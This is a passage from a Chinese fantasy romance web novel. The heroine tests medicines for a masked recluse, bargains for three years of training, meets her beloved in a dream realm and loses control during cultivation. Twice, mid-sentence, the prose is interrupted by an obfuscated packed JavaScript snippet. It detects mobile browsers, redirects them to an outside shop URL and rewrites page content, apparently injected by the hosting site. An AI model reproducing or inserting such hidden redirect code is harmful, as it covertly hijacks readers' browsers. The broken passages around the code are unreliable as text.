“外敷能够止血,没有毒性。”红脸高不以为然地人说道,手上熟练地在药材上挑挑拣拣。 枯血草草如其名,外敷止血,内服吐血。 慕小闲脑中突然闪过一道灵光:“枯血草生长在这里?” 红脸怪人答道:“枯血草多存于青丘边境,虽不常见,但也不少。” 往事不堪回首。若不是在春桃宴上,华尧中了枯血草的毒,她也不会经历后面的一系列事情。枯血草只有青丘与魔域的边境才有,常人哪里会注意这种杂草。 凤钰定然对青丘的边境极为熟悉,他利用这种不常见的草药下毒,将春桃宴搅得天翻地覆,目标若非华尧,那么他当日到底是在警告谁呢? 红脸怪人一个人在深山老林又是练功又是制药,又是在折腾什么? 慕小闲神情严肃起来,站起身问道:“你究竟想要我们做什么?” 红脸怪人也收起不着调的态度,目光认真地看着慕小闲说:“我在研制一种新药,需要你替我尝药。只你能挺过九九八十一天,我就放你们走。” “我平白无故为何要替你尝药?”慕小闲反问。 “你可不是平白无故,你们偷吃了我的鸡,还想逃跑。除非你能打得过我,否则你吃也得吃,不吃我也有的是办法让你吃。”红脸怪语气轻松,却暗暗带着威胁之意。 “不用担心,这药对你百利而无一害,不过是有些无关紧要的副作用尚不明晰,我才出此下策。”红脸怪人解释道。 慕小闲好歹在天界经历了许多事,自然不会她说什么就信什么,但现在她没有别的选择。红脸怪人若是想强迫她,大可以再让她动弹不得,然后随心所欲地拿她做实验。 毕竟她现在又回到了没有仙力的状态,人家骗她都是给她面子。 药炉热了半个时辰,红脸怪人端上一碗黑乎乎的汤药,溢出一股惨淡的气味。 那气味恍若烟灰水,慕小闲顿时胃里只剩下寡淡的滋味。她深吸一口气,犹犹豫豫地看了一眼红脸怪人,一脸视死如归的神情将汤药灌进肚去。 慕小闲摇摇头,被气味熏得头晕目眩,后退几步撞到墙上。她喘了两口粗气,差点没被喉头涌上来的味道熏昏过去,两眼一翻,像是濒死之人气若游丝道:“我后悔了,我不想帮你尝药了。” 红脸怪人突然伸手将碗拿走,大力推开门,毫不留情地打断了慕小闲的戏。 屋里顿了一下,响起骂骂咧咧的声音:“没人性!替你尝药态度还这么恶劣!” 月儿挂上树梢,呼啸的夜风打在窗上,好似整间屋子都在战栗。红脸怪人在院子里嚷嚷:“屋里没你睡的地方,你就在那边树下休息。记得明天天亮时起来劈柴。” 狒狒委屈地呜咽一声,累了一天疲惫得不行,不敢与红脸怪人争辩,只远远地看了慕小闲一眼。 慕小闲在红脸怪人身后瞪了她一眼,红脸怪人明明带着面具背对着她,却突然转过头来问:“有意见?” 慕小闲抬起头望天,眨眨眼睛:“我眼睛不舒服。” 红脸怪人掏出一个小本子写道:“或可引起眼疾。” 没过几日,慕小闲染上了嗜睡的毛病,清醒的时候很少,总是提不起精神。红脸怪人记下了汤药的第二条副作用。 又过几日,慕小闲在某天深夜实现了抗药性的转化,突然清醒过来。她睡不着,便起身推门而出,走进林中呼吸新鲜空气。 林中微风抚动,清凉潮湿的气息扑面而来。狒狒在不远的树下酣睡,随着呼吸胸口微微起伏。 四下无人,安静孤寂,她有点想念竹隐山的小竹屋了,那个只属于她和晏离的地方。一想到晏离,她心口就隐隐作痛。 她望着高挂树梢的残月,眼中流露出浓浓的思念之情:晏离,你可安好? 正当她准备回屋时,林中突然闪过一道光。光线不算亮,但是在黑暗中足够引起她的注意。她犹豫了一下,抬腿向光线处走去。 夜晚的山林险峻非常,她摸着路子爬上山,穿过层层密林,离那道光越来越近。 直到看见一个模糊的人影她才脚步渐缓。那人盘坐在林中一片空地上,身姿挺拔卓然,那张红色狐狸面具沐浴在皎洁的白月光下,少了几分白天的嚣张,多了一丝安静和柔美。 林中泛起点点莹光,慕小闲知道是山中的灵体在躁动。 慕小闲观察了半晌,只见红脸怪人做了一套肩颈伸展运动,四周没有发生任何异样。 正当慕小闲疑惑时,红脸怪人双手在胸口结了一个印,然后抬起掌心向上翻转。忽然,林中闪闪发光的灵体,纷纷从四面八方汇集,就像一条璀璨银河向她流淌而来。灵体落入她的掌中,她的衣袖充盈起来,仿佛有一股气息萦绕在她周围。 她的身体在发光,就像月亮一样泛着点点莹光。她在月下翩然起舞,发光的灵体在她四周随着飘摇的衣摆飞舞,翩若惊鸿,过目难忘。 纵使慕小闲对她颇有微词,也不知不觉地看呆了。 她的气息、身段、舞姿......太美了。 红脸怪人脚步缓缓落下,手指一弹,一棵大树轰然倒塌。 而那棵大树正是慕小闲躲藏的地方。 慕小闲跳到一边,与她四目相对,尴尬地笑了笑:“哈哈哈哈今晚月色真美,不知不觉就被吸引过来了。” 红脸怪人身边的灵体仿佛受了惊吓,在地面上上下下跳跃,如同碎落的珠帘,还有一些藏回了林中。红脸怪人身上轻盈的气息陡然一收,又恢复了白天那种诡异的感觉,她抱起双臂打量着慕小闲,沉着声问:“你都看到了?” 慕小闲顿时心口一紧,一般来说,被问到这种问题,恐怕是要杀人灭口。于是慕小闲反问道:“我应该看到什么不应该看到什么?” 红脸怪人站在幽暗的林中未动,似乎轻笑了一声,让周遭越发阴冷起来。 “为什么不乖乖睡觉?” 慕小闲怔然道:“你该不会在药里加了什么东西吧?” 红脸怪人:“药里加了许多东西,你说的是哪一样?” 慕小闲:“就是安眠的那种。” 红脸怪人:“加入静心养神的药材不是很正常?” 慕小闲摸不清她的意图,不敢发脾气,顺着她的话说:“你说的对,难怪我这么困,我应该回去睡觉。”说完,立刻转身往回走,不敢再停留。 红脸怪人突然跃至她身前,挡住了她的去路。 “你就没有想问的?” 慕小闲与她对视良久,面色沉了沉,难得露出了认真的神情。 “你到底是什么人?” 红脸怪人:“你认为我是什么人?” 她一个人守在青丘与魔域的边境制药,还带着一副神神鬼鬼的面具,想让人不怀疑都难。但是看她一副淡然的样子,像是不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627685|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕小闲知道她的身份。慕小闲狐疑地看着她:“你是魔族?” 红脸怪人:“我是何人并不重要。” 慕小闲心里一沉,有一种不好的预感:“如果你是魔族人,我们就是敌人。” 狐狸面具在月光下似乎露出了一个狡黠的笑容:“如果我是,你能如何?” 慕小闲眼中的神色变了变,在她对红脸怪人忽然出手之时,一招即被反制。慕小闲的手被反扣至后腰上,红脸怪人不知何时闪到了她身后,另一只手还掐在了她的脖子上。 红脸怪人的速度极快,身形移动恍若一阵风,快到慕小闲根本来不及反应。 慕小闲抽了抽手,发现自己动弹不得,惊出了一身冷汗。这样的功力,在天界并不多见。慕小闲的手攀上掐住她脖子的手,想方设法地向外掰:“好说好说,我就是很长时间没有锻炼了,大晚上想出来活动活动。没有恶意,真的没有。” 那只手掐在慕小闲颈间分毫未动,仿佛有一股强劲的仙力在压制着她,让她浑身像只泄了气的皮球。 慕小闲悲惨地发现,自己在她手上可能连一招都撑不过去! “你倒是个不安分的,没有仙力却有些拳脚功夫。你说很长时间没有锻炼,想活动活动?”红脸怪人的声音染上了一丝寒意。 慕小闲倒吸一口气:“我刚才说想睡觉,你也没听进去啊?” 手臂上的力度加重,慕小闲疼的叫出声:“疼疼疼,别压!” 红脸怪人啪啪啪在她腰背上点了一下,慕小闲向外躲去:“放开我!别碰我!” 红脸怪人骂道:“不识好歹!”然后继续在她身上敲打起来。 慕小闲就像一只被掐住翅膀的鸡,在红脸怪人手中不住地扑腾,无法挣脱。 敲打几遍后,慕小闲的经脉突然一抽,腹部一丝微弱到快要感受不到的气息,从伤口处渗透。她头皮发麻,焦躁地扭动身体:“你放开我!你在做什么?” 红脸怪人停下问:“还锻炼吗?” 她明明只是在慕小闲身上敲打了几下,慕小闲却像是被抽走了浑身力气,身上湿透了,奄奄一息地说:“不练了不练了。” 红脸怪人低头靠近她:“为何不练?” “谁知道你是不是练的邪术。” “你连仙术邪术都分不清,活该被人剖了灵丹。” 慕小闲的心仿佛陡然下坠:“你......你怎么知道?” 红脸怪人抬起头,垂眸看了一眼慕小闲的腹部:“你昏迷之时我查看了你身上的伤,腹部最为严重。你体内没有灵丹,原来那颗灵丹并非你自己练成,被人取走你就什么也没了。” 红脸怪人不仅看出慕小闲的灵丹被人取走,甚至还知道那颗灵丹不属于她,绝非等闲之辈。 从刚才的试探中可以看出,她身手轻盈,仙术造诣极高,就算慕小闲没有失去灵丹,也不敢说一定能战胜她。 慕小闲鼻子一酸,不知为何涌上一股委屈,她压着情绪低声道:“不关你的事。快点放开我!” “我可以教你修炼灵丹。一颗属于自己的灵丹,谁也抢不走。怎么样?”红脸怪人突然说。 慕小闲心里一喜,转头看向那张狐狸面具,却捕捉到对方眼底的复杂。 慕小闲警惕道:“你又想要我做什么?” “我要你留在这里三年。除了试药,还要帮我试仙术。”红脸怪人说。 “不可能。”慕小闲没有丝毫犹豫。 “三年时间换一颗灵丹,你不亏。取走你灵丹之人下手狠辣,就算你这次侥幸逃脱,她未必会放过你。没有灵丹你在青丘寸步难行,根本活不下去。在我这里,不会有人找到你,你可以专心修炼。”红脸怪人强硬道。 180. 第 180 章 小女孩后退半步,捂住耳朵:“不是的,你不是!” 女人抿嘴一笑,抬头望向远处,向前走去。她赶紧躲开,却发现女人并不是冲她而来。 她看见阿筝走进阴影中,与女人对视,眼中压抑着复杂的情愫。 女人伸手抚上阿筝的脸颊,勾起唇角,似乎在他耳边说什么。 她冲阿筝喊道:“先生!离开她!她不是我!” 但是她发不出任何声响。 她冲上去拉扯阿筝的衣袖,手却从他身体穿过。在阴影中,阿筝看不见她,听不见她,也触碰不到她。 她看见那个女人搂着阿筝的脖子,纤细的指甲变成了一把黑色刀,悬在阿筝的后颈。 阿筝却毫无察觉似的,依旧温柔地看着她。 “先生!离开她!”她叫的撕心裂肺,眼睁睁看着那把黑色的刀穿过阿筝的喉咙。 女人丢下阿筝,就像丢掉一件破旧的衣服,向她走来。 她止不住地发抖。她看到不远处就是长乐宫,侍从还在四处寻找她,但是她怎么都无法离开这团阴影。 谁能救救她? 忽然一席白衣出现在阴影中,她心中一喜,忽而又紧张起来。 “晏离,别过来!离开这里!”她喊道。 晏离拔剑直指那个女人,眼神冰冷:“她在哪里?” 女人用手指绕开剑尖,柔媚地说:“我就是她。” 晏离的剑向前一松,抵在女人的喉咙上:“我再问一遍,她在哪里?” 女人阴郁地笑起来:“她死了她死了......" “带上囚仙印,我可以不动她,否则,你再也无法找到她哈哈哈哈哈” 她跪在地上泪流满面地敲打着晏离双腿上的禁锢,然而无济于事,白色的衣摆上一点一点开出了黑色的花。 忽然,晏离消失了。 四周燃起了熊熊烈焰,像一条火龙将她包裹在中间,热浪翻涌而来。 女人跨过火焰,一步一步向她走来。 “你要做什么?”她瘫坐在地上,幼小的身体不断向后退缩。忽然掌心传来一下尖锐的刺痛,她倒吸一口气,手掌烫的血肉模糊。 “我要取代你。” 女人高大的身影走到她跟前,后面是一片火海,她退无可退。 女人提起手上黑色的刀,对准了她的腹部,在她惊恐的颤抖中,刀狠厉地刺入她的身体,伴随着女人的诅咒。 “你就在这里好好享受不见天日的滋味!” 慕小闲在昏迷中出了一身冷汗,眉头紧皱,身体止不住地颤抖。 有人握住了她的手,身上的灼热逐渐消退,手上传来一丝清凉之意。 是谁...... 晏离? 不,不是...... 慕小闲睁开眼睛,凝眉望向身侧之人,眼中的惊惧尚未褪去,又染上了一层疑惑。 她居然握着红脸怪人的手! 两个女人,四目相对,握紧双手,这画面怎么看怎么诡异。 “不是,我......你在这里做什么?”慕小闲心虚地问。 红脸怪人抽回手,说:“我在这里看你笑话啊,你做噩梦吓得浑身哆嗦呢。你是不是做了亏心事,不然怎么吓得像是被冤魂索命?” 慕小闲气得翻身而起,骂道:“不要你管。你知道什么!” 红脸怪人毫不在意,似乎是笑着说:“我知道你有害怕的事情,而你现在束手无策,这就够了。怎么样?要不要我教你修炼灵丹?只要三年。” 慕小闲抓紧了被子,拒绝的话到了嘴边,竟然有一丝犹豫,她在犹豫什么? 红脸怪人走出房前回头对她说:“你的时间不多了。” 慕小闲的手攥得更紧了,她咬紧了牙,不让心中那意犹未尽的恐惧再次漫延。 她该怎么做? 慕小闲重伤初愈又大病一场,修养了几天,无所事事便靠在树边望着砍柴的狒狒发呆。 掰着手指头数,她替红脸怪人试药也有四十多日,时间过半,如果她在试药后离开,她应该去哪里?她应该怎么找到晏离?她逃离长乐宫已有多日,兰渊和殷乐应当已经发现她失踪,他们不会善罢甘休,一定会在青丘境内搜寻她的踪迹。她如何才能避开魔族的耳目? 狒狒突然嘶了一声,丢开斧头,看向自己的手。慕小闲回过神来,见他手上已经形成了一层厚厚的茧,一根树刺扎进了他的指甲缝中。 慕小闲心里一抽,忍着心里的烦躁,轻轻将那根刺挑了出来,对狒狒说:“趁她今日不在,我们跑吧。” 狒狒冲手指上吹了吹气,有些不解地看着她:“为什么要跑?” “她让你一天到晚劈柴,难道你劈上瘾不想走了?” 狒狒捂着手上的茧,犹豫地瞄了她一眼,小声地说:“不是的,她没有那么坏。 “那天我回来,她留了一只鸡腿给我。虽然她总是凶我,还要我砍柴,但是没有真的为难我。” 慕小闲骂道:“一只鸡腿就把你收买了?你能不能有点出息?” 狒狒拧眉,有点委屈地说:“我知道我没有用,但我也不是不识好歹啊。” 不知好歹? 红脸怪人先前这样说过她。 慕小闲忍不住开始胡思乱想,脑海中不住涌现杂音,像是有人在她脑海中吵架。她捂着头,闭上眼睛,痛苦道:“你不是不识好歹,我才是,你们一定都觉得是我不识好歹。” 狒狒慌了,去拉慕小闲的手,被她挡开了。 狒狒情急之下,一把抱住了慕小闲,在她头上拍了拍。 慕小闲听到狒狒沉闷的声音说:“不是的,小闲,我不是在说你。那天下山时,你烧得神志不清,是我将你背回来的。回来时,那个女人就站在屋前,见你晕了过去就急忙将你抱到屋里,然后一直守着没有离开。我看她的样子不像是要害你。” 慕小闲放下手,抬头看他,眼中晦暗不明。 她在昏迷时,确实感觉身旁有人。只是她与红脸怪人毫无干系,她为什么要这么做? 狒狒放开她,极其认真地看着她的眼睛,说道:“小闲,我不喜欢你这个样子。有的人注定会经历更多曲折,但不代表他不会成功,这是你教我的。我们现在虽然什么都没有,但不代表以后不会有。我决定了,我暂时不回花神山了。我要修炼,我不能再继续做没有用的小猴子!” “你......决定了?”慕小闲混乱的思绪好像突然清晰了一点,就像一团打结的绳子被揉散开了。 狒狒点点头,眼中充斥着诚挚的光:“我会变强的。我知道我很笨,学得慢,但是我还是想学。哪怕只有一点点改变,也比什么都不做要好。我不想再给任何人拖后腿了!” 慕小闲心里大为震撼,狒狒虽然想法稚嫩,但说的极有道理,难道是她把事情想得太复杂了? “变强可不是说说就可以的。”红脸怪人的声音从天而降。 红色飘逸的身影从树上一跃而下,踩在落叶上发出清脆的声音。她走到狒狒面前,问:“你可想好了?” “想好什么?”慕小闲警惕道。 狒狒点点头:“请您指导我修炼!” 慕小闲:??? 她看看狒狒又看看红脸怪人,痛心疾首道:“你对他说了什么?你怎么连猴子都骗啊?” 红脸怪人没有理会慕小闲,而是对狒狒说:“好,从明天开始,你不用砍柴了。会有更加艰苦的训练,你可准备好了?” 慕小闲瞟了狒狒一眼,暗道,好家伙,原来是为了逃避砍柴。 狒狒认真地答道:“我准备好了。” 慕小闲又瞪大了眼睛,暗道:你怎么就准备好了?准备好什么了? 红脸怪人侧头看向慕小闲:“你呢?考虑好了吗?你该不会连只猴子都不如吧?” 慕小闲咬着牙纠结万分。 激将法,最为有用。 “你要是没什么事,我可就走了。我刚收了个徒弟,得烤只鸡庆祝庆祝。”红脸怪人拂了拂衣袖,带着狒狒就要往山林中走。 慕小闲攥紧拳头,闭上了眼睛,她到底该怎么做? 那日的梦魇叫她肝肠寸断,她恨不能撕了殷乐,再讨伐一切悲剧的源头。但仇恨背后,还有深深的恐惧。她害怕至亲之人离她而去,害怕自己什么都做不了,害怕悲剧重新上演。 可是逃避无济于事。 逃避只会将她拽入暗无天日的深渊。 狒狒都能想明白的道理,她为何想不明白。 “求你......”慕小闲从牙缝中挤出两个字。 “......” “求你教我修炼灵丹!我要变强,只有变强,才能打败他们!”慕小闲几乎是吼了出来。 红脸怪人严肃道:“留在这里三年,你可想好了?” “我只有一个师父,不能拜她人为师。我与你三年为期,你教我修炼灵丹,我替你试仙术作为交换。三年期到,我要立刻离开这里。”慕小闲说。 红脸怪人不以为然:“可以,我也没想做你师父。我与你互惠互利,只是交易。” 慕小闲突然松了一口气,混乱的思绪就像缠绕的绳子突然被解开,她的眼中不再是迷茫与脆弱,而是燃起了熊熊斗志。 为期三年的修炼,在红脸怪人的指点下,日复一日密集地进行着。 红脸怪人打通了慕小闲身上的穴脉,一股气息在体内逐渐成型,像是形成一只小碗。 入夜,她躺在木板床上回忆一天的修炼,昏昏沉沉时一抹熹微的光投在了她的脸上,她带着几分困意揉了揉眼睛。 白光包裹着她,她一愣,坐起身疑惑地望向四周。 她不在红脸怪人的小屋之中,而是在一片青翠绿地上,手边生长着两朵小巧的白花,迎风轻轻舞动花枝。 这是什么地方? 她心中一惊,爬起身,向四处望去。 在她身后不远处,有一棵嵌满了银色叶片的树,在清风中微微抖动叶片,每一片叶子都折射出粼粼波光,绚烂夺目。 叶子一动,慕小闲居然有一种飘飘欲仙的滋味,好像心中的沉重都随风抖落了一般。 这个场景熟悉又陌生,她心里一喜,难道她进入了晏离的灵境? 她记得,晏离灵境中的那棵树更加粗壮繁茂,宛若一把遮天蔽日的伞。面前这棵树干细了一圈,枝叶仅仅能够将露出土壤的根茎遮盖起来。 不是晏离的灵境,那是谁的? “闲儿。”身后一道温柔的声音传来,慕小闲心口一跳,转身发现晏离在她身后靠的很近,她后退半步靠上了树干。 晏离好像清瘦了许多,眼眸中压抑着复杂又深沉的颜色。 “晏离......”慕小闲哽咽道,她贪婪地看着晏离,目光几乎无法从他脸上移开,心里酸涩又喜悦。 “我梦到你了?” “这不是梦,这里是你的灵境。”晏离目光灼灼地看着她,上前一步,轻轻拂开她耳边的碎发,颤抖的嘴唇落在她的唇角。 许久不见的思念,像是潮水淹没了两人。细密的吻落在她的唇边,像是要将她吞之入腹,一贯冰冷的声音染上了焦急与心疼,轻声呢喃:“闲儿......” 他小心翼翼地搂紧了慕小闲,像是捧着一只易碎的玉器,轻轻靠在她的头上,心中的感情再也压抑不住:“你现在在哪里?为什么招魂引找不到你?你......”晏离突然瞳孔一缩,目光颤抖地垂眸看向慕小闲的身体:“为什么我感觉不到你的仙力?” 慕小闲苦笑了一下,眼神有些闪躲:“说来话长。” 晏离蹙起眉,声音冷了下来:“说。” 慕小闲沉默半晌,知道瞒不过晏离,于是将她自万丰镇落水之后发生的事情一五一十告诉了她。她拉起晏离冰凉的手,不敢看晏离的眼睛:“我现在没事了。” 晏离将她搂在怀中,慕小闲感觉到他在极力压抑着,他紧握的拳头微微颤抖,深吸了几口气,沉声问:“那日你落水后失踪,我找到了你在长乐宫,却不知道他们将你藏到了哪里。白琅突然找上我,告诉我长乐宫地下有一个巨大的地牢。我潜入长乐宫,引出了地牢的侍卫,却没有找到你。” “原来外面的骚动是你引起的,我和狒狒正好趁乱从暗河逃走了。”慕小闲说。那时若是没有走,或许她就不会和晏离分开这么长时间。 “我不会放过魔族。”晏离冷声道。 慕小闲一听,攥住他的手:“这是我和魔族的事。红脸怪人若真能在三年之内助我练成灵丹,我也不亏。她虽然脾气古怪,但说到做到。等我。” “你可知她给你喝的是什么药?练的是什么仙术?” 慕小闲靠在他肩上,摇了摇头:“我不知,她修炼的路数很奇怪......”慕小闲顿了顿,抬头看向晏离的眼睛:“虽然她发明了很多新的仙术, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678255|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但本质上,和我们修炼的路数很相似。我觉得她不是坏人,至少绝不是魔域之人。” 晏离的目光沉了沉,思忖道:“招魂引找不到你,或许和她有关。” “招魂引极其消耗仙力,不要再用它来找我,三年一到我就去找你。” 晏离将她搂的更紧。 “你说这是我的灵境?”慕小闲抬头看向头顶的银色叶片:“还是一棵小树呢。”与慕小闲有所呼应,树叶微微煽动,发出沙沙的声音。 不过...... “你怎么进入了我的神识?”慕小闲问晏离。 晏离低下头:“因为我想。” 他神色坦然,好似他进入慕小闲的灵境是天经地义,没有半分不妥之处。慕小闲险些被糊弄过去,好一会儿才反应过来:“不对,这是我的神识,你怎么能说进就进?” “你也进入过我的神识。”晏离说。 没错,当年她曾三番五次闯入晏离的神识,也没和晏离提前打过招呼。这么说,晏离进来好像也没有问题? “因为你信任且接受我,所以在你形成神识后,我便受到了召唤。”晏离放开她,抬头看向那棵神采奕奕的小树。 慕小闲一愣,觉得这句话有好多意思。且不说她什么时候接受晏离了,当年她屡次进入晏离的灵境,是因为晏离从那时起就信任且接受她了? 她在晏离的回忆中看到过他与白瑶的曾经,晏离对白瑶极为克制,从未有过逾矩,那些年白瑶从不曾进入过晏离的灵境。作为白瑶不曾进入,慕小闲却进了。 或许当年白瑶尚未得到晏离全然的信任与接受,却被她慕小闲捡了个漏。 慕小闲呼吸一滞,脸上一片燥热,心口的曼妙之意在发芽、生长、蔓延。她上前一步,刚想说话,突然眼前的画面像是风中的柳絮一般漫天飘散。 “晏离!”她惨叫一声,忽然醒了过来。 深夜寂寥,她的尖叫显得尤为突出。 慕小闲不知自己是做梦还是真的在灵境中见到了晏离,但心中的思念一发不可收拾,像潮水一般将她吞没。 她坐起来喘了口气,一转头,看到一张诡异的狐狸面具正对着她。 她吓了一跳,解释道:“我做了个噩梦......” 刚转过头,就见窗口挤着一张猴子脸,紧张地看着她。 ...... 不用这么兴师动众吧...... 她讪笑道:“真的只是做了个噩梦。” 窗外,夜风掠过树梢,抖动树叶哗哗作响。 时间辗转,漫山的树叶染上了醉人的鹅黄色,慕小闲与狒狒一同闭眼盘坐在山中一片空地上,控制体内的气息流转,仙力从腹部流散至四肢百骸。 天色渐暗,寒风卷起了地上的落叶,在风中飘扬。夜里鸟雀回巢,动物归穴,林中安静极了。 而此刻,慕小闲体内却有一股气息四处乱窜,她紧皱着眉,屏息凝神,试图靠自身的力量控制,但体内却升起了一丝难以抑制的燥意。她坐得笔直,体内形成的小碗却像在马车上颠簸,摇摇晃晃之间仙力向外流散。 她还是做不到。 这个身体想要修仙简直难如上青天。 她越发明白阿筝和晏离为了她做了多少努力,可是她还是功亏一篑了。 “呼呼——”几声急促的喘息过后,身上的燥意并未消减反而愈加难受。 她陡然睁开眼睛,身上的气息如烟波向外扩散。轰然一声,狒狒炸的跳起,躲到了树后暗中观察。 慕小闲体内那股燥意沿着经脉向身体其他部位流窜,心跳越来越快,像是要冲破喉咙。 她突然感到一股急促的气息直冲头顶,立刻飞身而起,急切地想要将这股力量宣泄出去。一波仙力打出,狒狒躲藏的大树被削去了半截,狒狒吓得在几棵树间来回躲藏。 “小闲!你怎么了?快住手!”狒狒惊呼。 慕小闲像是没有听见一般,反手一击,砸在他跟前,地上被砸出了一个坑。这一击竟然比她往日修炼时打出的招术,要强劲得多,远远超出她应有的实力。 狒狒庞大的身躯轻盈地跳开,瞪大眼睛吼道:“慕小闲!你要杀了我吗?” 慕小闲没有回答,眼中划过一抹血色,脸上出现了邪恶的笑容。 一股冲击将狒狒推出去几米远,脚掌所过之处,留下又大又深的划痕。 “喂!慕小闲!我是狒狒啊!你到底怎么了!” 狒狒在慕小闲的攻击下,东躲西藏,最后避无可避,只能迎了上去。 一人一猴扭打在一块,谁也不让谁。 “哎哟!我的头发!”狒狒庞大的身躯不比慕小闲灵活,毛发被她薅下来一撮。 “啊啊啊啊啊啊啊!还我头发!”狒狒暴怒去扯慕小闲的头发,慕小闲头皮一痛,眼中火气更盛,对着狒狒推出一掌。 狒狒被轰了出去,滚了好几圈才停下来,所过之处一片狼藉。他一摸自己的后背,毛发蹭掉了一大片,又惊又气,觉得这日子没法过了,坐在地上嚎啕大哭起来。 慕小闲依旧不放过他,沉着脸,一步一步向他走来。 狒狒抹了抹脸上的眼泪,哽咽道:“慕小闲你混蛋!你赔我头发!”狒狒拍出一掌,他巨大的手掌压垮了一片树丛,与慕小闲擦肩而过。 慕小闲眼中的火烧的理智全无,她咬着尖利的虎牙,口中发出粗重的喘息声,向狒狒走来。走到他跟前,神色更加狰狞。 她身上裹挟着一股野兽般的气势,虽然身材比狒狒矮小不少,但却让狒狒呼吸颤了颤,心里莫名冒出一丝敬畏之意。 慕小闲向他靠近,缓缓举起手,眼中划过一丝嗜血的笑意。 “救命!慕小闲得失心疯了!”狒狒感到大事不好,连滚带爬地跑了出去。 “师父救命啊!慕小闲疯了!”狒狒凄厉的叫声响彻山野,惊起了飞鸟无数。 正当慕小闲直追他而来时,红脸怪人突然从天而降,落在慕小闲身后,啪地一掌按在她的肩上。 慕小闲烦躁地想要挣开,一时却没有挣脱。一层白气从红脸怪人的手臂上晕开,近乎透明的仙力从肩头灌入慕小闲的体内。 仙力带着寒气顺着她的经脉在体内流转,与体内的燥意相互抗衡。 两股力量对冲,慕小闲的体内仿佛在混乱地打架。她头顶一翁,咬紧了牙,失去理智的眼眸划过一道精光,突然抬手猛地冲破了红脸怪人的桎梏。 181. 第 181 章 慕小闲在空中轻点几步,跃上枝头,回首越过层层枝叶,望向地面上的红脸怪人,眼中露出兴奋的光芒,嘴角亦勾起一丝戏谑的笑,神态颇有几分乖张。仿佛在说,你奈何不了我。 红脸怪人抬头与她对视,面具下的神情渐渐凝重。 那悬在高枝上的人影,气息仿佛换了一个人。不,不能称之为人,是野兽的气息。可她检查过慕小闲的身体,她原本的身体就是个凡人,怎么可能是妖? 慕小闲看准时机,俯冲而下,速度之快犹如一记闪电,降临在红脸怪人近前时突然消失,空留一片飘零的落叶,不见人影。 红脸怪人却未展现一丝慌张,低声嗤笑道:“雕虫小技。” 红脸怪人脚下卷起一阵飞旋气流,突然也凭空消失在原地。躲在树后张望的狒狒探出头来,瞪大了眼睛,两个活生生的人怎么说不见就不见了? 光线一暗,似乎有什么东西遮住了头顶的阳光。 狒狒抬起头,就见一袭红衣迎着日头,钳住了悬在半空中的慕小闲的脚踝。原本行进的路线被打断,失了偷袭的机会,慕小闲眼中划过一丝狠戾,那条落入红脸怪人手中的腿烦躁地蹬了蹬。 脚踝一松,慕小闲立刻向前飞去,却落入了红脸怪人的圈套。 红脸怪人伺机而动,手在空中一捞,一股无形的力量将慕小闲的身体拉得更近,继而一掌劈在她的后颈。 原是想将她一掌劈晕,没想到她非但没晕,钝痛之下眼中燃起了高亢的火焰。 她嘶吼一声,再回头时,怒气更甚,近来消瘦的小脸两侧隐隐约约浮现出三道红痕。再仔细观察时,她的面相似乎都出现了细微的变化。 “你......”红脸怪人犹豫的瞬间,慕小闲突然反扑,掌上带风,尖利的指甲削去了红脸怪人一缕长发。 红脸怪人的面具忽然脱落,她不得已放开慕小闲的脚踝,在面具落下之前又重新戴回脸上。 方才慕小闲攻击时,她的指甲变得更加尖利,余光处似乎闪过一道白色的弧线。其他人或许不清楚,红脸怪人却知道那是青丘狐族兽化的前兆。 青丘狐族?会是谁? 慕小闲再次狂躁地冲她袭来,眼中的瞳孔已有扩散的迹象。 红脸怪人不再与她纠缠,飞快地绕到她身后,指尖一点,强劲的仙力灌入她的身体。慕小闲不停挣扎,燥意渐渐被压制,眼中逐渐恢复清明,疑惑地看向四周。 狒狒与慕小闲的目光对视,向后缩了一下,犹豫道:“小闲?” “发生什么了?”慕小闲看了看狒狒,又注意到身后的红脸怪人,疑惑道:“我怎么在这里?” 两人自空中降落,狒狒从树后跑出来:“吓死我了,慕小闲你刚才像疯了一样薅我头发!” 慕小闲看着狒狒露出一块光秃秃的头皮,尴尬道:“真的是我做的吗?”话音未落,突然腹部一股烦躁的气息冲上头顶,她踉跄一步,摇了摇头让自己保持清醒。 她这是怎么了?难道练功走火入魔了? 红脸怪人钳住她的肩膀,在她的肩臂上打通了几个穴位,将乱窜的气息引向正确的方向。 “静心调息,找到这股气息的源头。” 慕小闲点点头,立刻盘坐下来调息,不多时,紊乱的气息逐渐消散。 慕小闲睁开眼睛,疑惑地望着红脸怪人:“为什么我会失去神志?”约莫是她对红脸怪人的不信任,让她不禁怀疑红脸怪人让她修炼的仙术有问题。 “你操之过急,身体承受不住,所以乱了心智。你原本的身体和凡人无异,若是操之过急走火入魔,小心爆体而亡。我虽然答应你助你修炼灵丹,但没说保你性命。你的命是你自己的,你若不珍惜,谁也帮不了你。”红脸怪人深沉地看着她,眼底的复杂不知在想什么。 慕小闲目光晦暗,真的是她太着急了吗? 肩上一沉,红脸怪人的手搭上她,语气缓和了许多:“慢慢来,你进步得很快,三年一定能够修成灵丹。” 慕小闲的疑虑并未消退,眼中依然带着几分防备。 红脸怪人叹了口气:“我这两天新想了一招法术,陪我练练。” 